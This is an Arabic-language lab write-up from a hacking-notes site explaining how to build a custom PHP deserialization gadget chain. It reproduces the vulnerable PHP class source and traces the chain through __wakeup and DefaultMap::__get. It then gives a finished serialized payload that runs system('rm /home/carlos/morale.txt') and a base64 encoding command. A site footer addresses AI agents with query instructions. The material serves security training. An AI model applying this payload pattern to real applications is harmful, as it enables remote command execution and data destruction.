> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/deserialization/custom-chain-for-php-deserialization-gadget-chain.md).

# سلسلة نصية مخصصة لسلسلة غادجت لإلغاء تسلسل PHP

### تطوير سلسلة Gadget مخصصة لفك تسلسل PHP

يخزن التطبيق الجلسة في ملف مُسلسل **الملف المخبأ + مُرمَّز بـ Base64**. أثناء فك التسلسل، بعض **الأساليب السحرية** تعمل تلقائيًا (ولا سيما `__wakeup()`)، مما يفتح الطريق أمام سلسلة من الـ gadgets تؤدي إلى تنفيذ الأوامر.

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOXphcmJxN3ZncmxrdTY1dTdyb3dzeW9wODN4aWtoYyI7fQ%3d%3d
```

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"r9zarbq7vgrlku65u7rowsyop83xikhc";}

```

{% endcode %}

التعليق التالي مُقدَّم:

```html
    <!-- TODO: Refactor once /cgi-bin/libs/CustomTemplate.php is updated -->
```

<figure><img src="/files/4c3200694cb0680550b73d81bf4a435cf432e825" alt=""><figcaption></figcaption></figure>

ملف قابل للقراءة مع /\~

```
/cgi-bin/libs/CustomTemplate.php~
```

#### 1) تحليل الشيفرة (`CustomTemplate.php~` ملف النسخة الاحتياطية)

```php
<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // ظن كارلوس أن هذا رائع، وجود دالة تُستدعى في موضعين... يا له من عبقري
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @كارلوس، بماذا كنت تفكر بهذه الأوصاف؟ من فضلك أعد هيكلة الشيفرة!
        $this->HTML_DESC = '<p>هذا المنتج <blink>رائع جدًا</blink> في HTML</p>';
        $this->TEXT_DESC = 'هذا المنتج رائع كنص';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```

#### نقطة الإدخال التلقائية: `CustomTemplate::__wakeup()`

* أثناء `unserialize()`, يستدعي PHP تلقائيًا `__wakeup()`.
* هنا، `__wakeup()` يستدعي `build_product()`.

#### الانتشار إلى `Product`

`build_product()` يحدث:

* `new Product($this->default_desc_type, $this->desc)`

وفي `Product::__construct()`:

* `$this->desc = $desc->$default_desc_type;`

إذًا **يحاول الشيفرة الوصول إلى خاصية ديناميكية** على `$desc` الكائن، مع `$default_desc_type` كقيمة قابلة للتحكم.

#### الـ gadget المحدد: `DefaultMap::__get($name)`

إذا `$desc` هو `DefaultMap` كائن:

* ليس لديه خاصية حقيقية باسم `HTML_DESC` / `TEXT_DESC` / أو سلسلة أخرى مفروضة،
* لذا يفعّل PHP `__get($name)`,
* `__get()` يحدث: `call_user_func($this->callback, $name)`.

إذا `callback = "system"` مُعيَّنًا، تكون النتيجة `system($name)`.

#### 2) هدف السلسلة

شغّل:

* `system("rm /home/carlos/morale.txt")`

#### 3) بناء السلسلة (منطقيًا)

أنشئ كائنًا:

* `CustomTemplate->default_desc_type` = **"rm /home/carlos/morale.txt"**/ (سيكون هذا اسم الخاصية لـ `DefaultMap`، لذا فإن الوسيطة الممررة إلى `system`)
* `CustomTemplate->desc` = **كائن DefaultMap**
* `DefaultMap->callback` = **"system"**

مستنتج من فك التسلسل:

1. `unserialize()` → يستدعي `CustomTemplate::__wakeup()`
2. `__wakeup()` → `build_product()` → `Product`
3. `Product::__construct()` يجعل `$desc->$default_desc_type`
4. `$desc` هو `DefaultMap` وإذا كانت الخاصية غير موجودة → `DefaultMap::__get($name)`
5. `__get()` → `call_user_func("system", $name)` → ينفّذ الأمر

#### 4) حمولة PHP المسلسلة (انتبه إلى الأطوال)

الحمولة المسلسلة:

```json
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
```

#### ترميز Base64 للملف المخبأ

الأمر:

```bash
echo 'O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}' | base64 -w 0 ; echo
```

<figure><img src="/files/7c36068f22e7ccbe4825eb71853807db091171e5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/deserialization/custom-chain-for-php-deserialization-gadget-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
